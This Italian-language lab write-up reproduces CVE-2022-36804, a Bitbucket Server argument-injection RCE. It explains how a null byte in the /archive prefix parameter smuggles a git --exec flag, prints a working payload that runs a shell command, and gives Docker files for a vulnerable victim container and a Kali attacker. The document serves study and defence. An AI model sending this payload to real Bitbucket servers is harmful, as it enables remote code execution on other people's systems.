Riproduzione dell'intera catena di sfruttamento di CVE-2022-36804 (Bitbucket RCE). Include un laboratorio Dockerizzato, monitoraggio pspy64 per la verifica dell'iniezione null-byte e uno script di exploit Bash personalizzato. Basato sulla ricerca di Assetnote.
CVE-2022-36804 è una vulnerabilità di Argument Injection ad alta gravità/critica all'interno dell'API REST di Atlassian Bitbucket Server e Data Center.
Mentre il punteggio base ufficiale dell'NVD National Vulnerability Database è 8.8 (High) basato sul presupposto di privilegi di lettura richiesti (PR:L), questa analisi la tratta come una falla 9.8 (Critical) (PR:N). Se un repository target ha l'accesso pubblico abilitato—una configurazione comune—il vettore di sfruttamento diventa completamente pre-autenticato.
Questo repository documenta una riproduzione in laboratorio dell'intera catena dell'exploit, basata direttamente sulla ricerca tecnica pubblicata da Assetnote.
L'analisi descrive il passaggio dall'orchestrazione dell'ambiente e dall'elusione dei filtri di sicurezza fino al raggiungimento di una reverse shell interattiva. Come evidenziato nella scoperta originale, questa falla consente la Remote Command Execution (RCE), che può essere sfruttata pre-autenticazione se il repository target ha l'accesso pubblico abilitato.
La vulnerabilità affonda le sue radici in una "Discrepanza di Sanitizzazione" (Sanitization Impedance Mismatch) tra il runtime dell'applicazione Java e il sistema operativo Linux.
Come evidenziato nella ricerca di Assetnote, Bitbucket utilizza la libreria NuProcess per costruire ed eseguire i comandi Git. Quando un utente fornisce un parametro prefix all'endpoint /archive, Bitbucket non riesce a rimuovere i caratteri null (%00) prima di passare la lista degli argomenti al sistema operativo.
execve() elabora il comando, tronca la stringa in corrispondenza di %00. A causa del modo in cui NuProcess passa i dati, il sistema operativo tratta tutto ciò che segue il byte nullo come un argomento completamente nuovo.Iniettando --exec=..., un attaccante esce dal flag --prefix previsto e costringe il processo git archive a eseguire un binario arbitrario, portando alla Remote Command Execution (RCE).
Per capire come l'exploit passa da un semplice parametro URL a un comando a livello di sistema operativo, dobbiamo analizzare la struttura del payload e osservare lo "Spostamento dell'Array" (Array Shift).
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
| Componente | Scopo | Ruolo Tecnico |
|---|---|---|
prefix=x | Requisito | git archive richiede un prefix; x funge da segnaposto. |
%00 | Il Coltello | Null-Byte. Java lo passa, ma il kernel Linux basato su C termina la stringa qui. |
--exec=... | Il Trigger RCE | Il Flag Pericoloso. Abusa della funzionalità integrata di Git per eseguire programmi esterni. |
touch ... | L'Azione | Il comando da eseguire. PoC sicuro per verificare la RCE. |
--remote=... | Il Cestino | Assorbe il Commit ID (aggiunto da Bitbucket) come argomento valido, garantendo che il comando venga eseguito correttamente senza errori di sintassi. |
Questo illustra il cuore della vulnerabilità: come Dati (un prefisso di directory) vengono trasformati in Istruzioni (un flag di comando).
Contesto di Esecuzione di Java (Stato Iniziale):
Java vede una singola stringa lunga come terzo argomento.
[
"git", // Indice 0
"archive", // Indice 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Indice 2: La singola stringa inquinata
"1a2b3c4d..." // Indice 3: Aggiunto da Bitbucket
]
Esecuzione del Kernel Linux (Stato Sfruttato):
La syscall execve() del kernel divide la stringa in corrispondenza di ogni byte nullo (\0), spostando i flag iniettati nelle loro posizioni autonome nell'array degli argomenti del processo.
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Eseguibile
"archive", // argv[1]: Sottocomando
"--prefix=x", // argv[2]: Terminato anticipatamente da %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: IL FLAG INIETTATO (RCE)
"--remote=file:///", // argv[4]: IL CESTINO (Reindirizza la logica)
"1a2b3c4d..." // argv[5]: COMMIT ID (Assorbito da --remote)
]
Per simulare una superficie d'attacco realistica, l'ambiente di laboratorio utilizza un'architettura a doppio container isolata all'interno di una rete bridge Docker (hacking_net). Questa configurazione garantisce che lo sfruttamento e il monitoraggio possano essere eseguiti in un ambiente controllato senza influenzare il sistema host.
Nodo Vittima: Esegue Atlassian Bitbucket Server versione 7.17.1. Il container è intenzionalmente chiamato bitbucket-victim. Questo riflette un'importante rifinitura di progettazione fatta per garantire la conformità con l'applicazione dell'RFC 7230 di Apache Tomcat. Utilizzando un trattino invece di un underscore, l'ambiente evita gli errori 400 "Invalid Character" che si verificano durante l'esecuzione del payload—un ostacolo tecnico chiave identificato e risolto durante la fase di ricerca.
Nodo Attaccante: Un'immagine Kali Linux rolling personalizzata. A differenza di un'immagine standard, questo nodo è pre-configurato con il set di strumenti specifico richiesto per questa catena di exploit: git per la manipolazione del repository, curl per la consegna del payload e netcat-traditional per catturare la reverse shell.
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Rinominato da bitbucket_victim per evitare problemi di host header durante l'esecuzione del payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]